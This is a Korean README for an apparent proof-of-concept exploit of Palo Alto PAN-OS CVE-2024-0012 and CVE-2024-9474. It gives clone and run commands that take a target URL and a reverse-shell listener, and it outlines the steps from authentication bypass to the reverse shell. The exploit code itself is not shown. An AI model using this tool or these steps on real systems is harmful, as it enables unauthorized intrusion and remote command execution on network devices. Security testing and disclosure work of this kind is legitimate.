🚀 CVE-2024-0012 & CVE-2024-9474 (Palo Alto PAN-OS) 익스플로잇 🔐

🛡️ 설명

이 PoC(Proof-of-Concept) 스크립트는 Palo Alto PAN-OS의 취약점, 특히 CVE-2024-0012 및 CVE-2024-9474를 대상으로 하며, 인증 우회, 페이로드 생성, 청크 전송, 원활한 명령 실행 등 익스플로잇 과정을 자동화합니다.

⚠️ 이 스크립트는 교육 및 공인된 침투 테스트 목적으로만 사용됩니다. 무단 사용은 불법입니다.

🔍 대상 취약점

CVE-2024-0012

• 유형: 인증 우회
• 영향: 관리 인터페이스에 대한 무단 액세스를 가능하게 합니다.
• 심각도: 🚨 치명적

CVE-2024-9474

• 유형: 명령 실행 및 권한 상승
• 영향: 원격 공격자가 임의의 명령을 실행할 수 있도록 합니다.
• 심각도: 🔥 중간

🧑‍💻 사용법

🛠️ 저장소 클론

git clone https://github.com/TalatumLabs/CVE-2024-0012_CVE-2024-9474_PoC.git
cd CVE-2024-0012_CVE-2024-9474_PoC

🚀 스크립트 실행

python -W ignore poc.py <TARGET_URL> <LISTENER_IP> <LISTENER_PORT>

인수:

• <TARGET_URL>: 대상 URL (http 또는 https 포함)
• <LISTENER_IP>: 리버스 셸 리스너용 IP 주소
• <LISTENER_PORT>: 리버스 셸 리스너용 포트

💡 예시

python -W ignore poc.py https://target.pan-os-system.com 192.168.1.100 4444

💻 익스플로잇 데모

https://github.com/user-attachments/assets/12ca7632-e5d2-488f-b644-6e278651a2f5

⚙️ 작동 방식

이 PoC에 대한 전체 분석 및 기술적 통찰력은 이 Medium 글에서 확인하세요!

1. 🔍 취약점 확인: 대상이 CVE-2024-0012 및 CVE-2024-9474에 취약한지 확인합니다.
2. 🛡️ PHPSESSID 추출: 추가 익스플로잇을 위한 세션 ID를 검색합니다.
3. ✨ 페이로드 생성: 이중 인코딩된 리버스 셸 페이로드를 생성합니다.
4. 📦 청크 업로드: 페이로드 청크를 대상 서버로 전송합니다.
5. 🔗 페이로드 결합: 대상 시스템에서 페이로드를 재구성합니다.
6. ⚡ 명령 실행: 리버스 셸을 디코딩하고 실행합니다.

⚠️ 법적 고지

이 PoC는 교육 목적 및 공인된 보안 테스트만을 위한 것입니다. 이 도구의 무단 사용은 엄격히 금지됩니다. 작성자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다.

🧑‍🎓 저자

ghostxploiter